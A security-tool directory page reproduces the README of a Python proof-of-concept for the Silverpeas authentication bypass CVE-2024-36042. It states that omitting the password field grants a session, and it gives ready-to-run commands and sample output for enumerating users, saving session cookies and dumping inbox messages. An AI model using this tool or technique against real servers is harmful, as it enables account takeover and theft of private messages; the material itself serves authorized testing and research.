Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Silverpeas-AuthBypass-CVE-2024-36042 — Python PoC for CVE-2024-36042 authentication bypass in Silverpeas < 6.3.5. Features version detection, multi-threaded user enumeration, message extraction, and structured reporting for authorized security testing. | Kitploit
Tools/GitHubGitHub/ha5ant/silverpeas-authbypass-cve-2024-36042
Authentication & AuthorizationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
ha5ant/silverpeas-authbypass-cve-2024-36042

Silverpeas-AuthBypass-CVE-2024-36042

Python PoC for CVE-2024-36042 authentication bypass in Silverpeas < 6.3.5. Features version detection, multi-threaded user enumeration, message extraction, and structured reporting for authorized security testing.

View Repository
3 months agoNot yet reviewed

Silverpeas-AuthBypass-CVE-2024-36042

A clean, professional-grade Python3 proof-of-concept for CVE-2024-36042 — an authentication bypass in Silverpeas < 6.3.5 caused by missing password validation in AuthenticationServlet.

Python 3.8+ License: MIT


Overview

Silverpeas AuthenticationServlet accepts a login request even when the Password parameter is omitted from the POST body, granting authenticated session access to any known username. This tool demonstrates the vulnerability responsibly through a modular, threaded exploit framework with advanced reconnaissance, data extraction, and professional report generation.

Affected: Silverpeas < 6.3.5
CVE: CVE-2024-36042
GHSA: GHSA-qvh3-8c57-gp4m


Features


Installation

root@kitploit:~
git clone https://github.com/YOURNAME/Silverpeas-AuthBypass-CVE-2024-36042.git
cd Silverpeas-AuthBypass-CVE-2024-36042
pip install requests beautifulsoup4

Usage

Quick test (built-in user list)

root@kitploit:~
python3 CVE-2024-36042.py -t http://TARGET:8080 --dump-messages

Advanced Reporting (Markdown + Console)

root@kitploit:~
python3 CVE-2024-36042.py -t http://TARGET:8080 -u admin --dump-messages --message-output both

Forensic Export (Individual files per message)

root@kitploit:~
python3 CVE-2024-36042.py -t http://TARGET:8080 --userlist users.txt --dump-messages --message-output files --output-format md --outdir ./loot

Version check only (no exploitation)

root@kitploit:~
python3 CVE-2024-36042.py -t http://TARGET:8080 --check-version --no-exploit

Through a proxy with raw HTML logging

root@kitploit:~
python3 CVE-2024-36042.py -t http://TARGET:8080 --proxy http://127.0.0.1:8080 --dump-messages --save-raw-html

Output Management

The tool supports four primary output modes for dumped messages via --message-output:

  1. console (Default): Prints cleaned messages directly to the terminal with keyword highlighting.
  2. markdown: Generates a single {username}_messages.md report per account in the output directory.
  3. files: Creates a folder per account and saves each message as an individual file (e.g., message_0006.md) with zero-padded IDs for clean filesystem sorting.
  4. both: Combines console and markdown modes.

Artifact Structure

root@kitploit:~
outdir/
├── SilverAdmin/
│   ├── message_0001.md
│   ├── message_0002.md
│   ├── raw/ (optional: --save-raw-html)
│   │   └── msg_1.html
│   └── session_cookies.txt
├── scr1ptkiddy/
│   ├── messages.md
│   └── session_cookies.txt
└── summary.json

CLI Reference

root@kitploit:~
-t, --target        Base URL of Silverpeas (required)
-u, --user          Single username to target
--userlist          File with one username per line
--dump-messages     Scrape and display inbox messages
--max-id            Max message ID to check (default: 50)
--threads           Concurrent workers (default: 5)
--proxy             HTTP proxy URL
--message-output    Output mode: {console, markdown, files, both}
--output-format     File format: {md, txt}
--json              Export full JSON report
--csv               Export CSV of scraped messages
--outdir            Output directory for exports
--no-color          Disable ANSI color output (useful for logs)
--save-raw-html     Save original HTML responses for debugging
--check-version     Fingerprint version only
--no-exploit        Skip exploitation (pair with --check-version)
--quiet, -q         Minimal output
--no-banner         Suppress banner

Output Example

root@kitploit:~
[*] Target   : http://10.49.169.44:8080
[*] Version  : 6.3.1
[+] Version 6.3.1 < 6.3.5 - vulnerable.

[*] Trying: scr1ptkiddy
[+] BYPASSED -> scr1ptkiddy
[+] Data saved to ./scr1ptkiddy

────────────────────────────────────────────────────────────────────
  Execution Summary
────────────────────────────────────────────────────────────────────
┌───────────────┬──────────┬──────────┐
│ Account       │ Status   │ Messages │
├───────────────┼──────────┼──────────┤
│ scr1ptkiddy   │ SUCCESS  │ 6        │
│ admin         │ FAILED   │ 0        │
└───────────────┴──────────┴──────────┘

[+] JSON report -> ./report_20260516_013210.json

Why This Exists

This repository is part of my offensive-security portfolio. It demonstrates:

  • Vulnerability Research Translation — converting a disclosed CVE into a working, reliable exploit.
  • High-Quality Tooling — robust error handling, multilingual support, and structured output management.
  • Operational Awareness — multi-threading, proxy support, and deduplication logic for realistic environments.
  • Professional Engineering — clean code architecture, comprehensive documentation, and a focus on operator experience (UX).

Disclaimer

This tool is provided for authorized security testing, research, and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain explicit permission before testing any infrastructure you do not own.


License

MIT

Download Tool
FeatureDescription
Version DetectionFingerprint Silverpeas version and vulnerability status before exploitation.
Multi-threadedConcurrent user enumeration via ThreadPoolExecutor with thread-safe output.
Advanced DiscoveryMultilingual (English/French) endpoint discovery with multi-ID probing.
Data ExtractionHigh-fidelity message dumping with deduplication and boilerplate filtering.
Flexible OutputSupport for Console, Markdown reports, and individual file exports (.md or .txt).
Proxy & DebuggingRoute through Burp/ZAP (--proxy) and save raw HTML for parser debugging.
Clean UXASCII summary tables, keyword highlighting, and optional ANSI color control.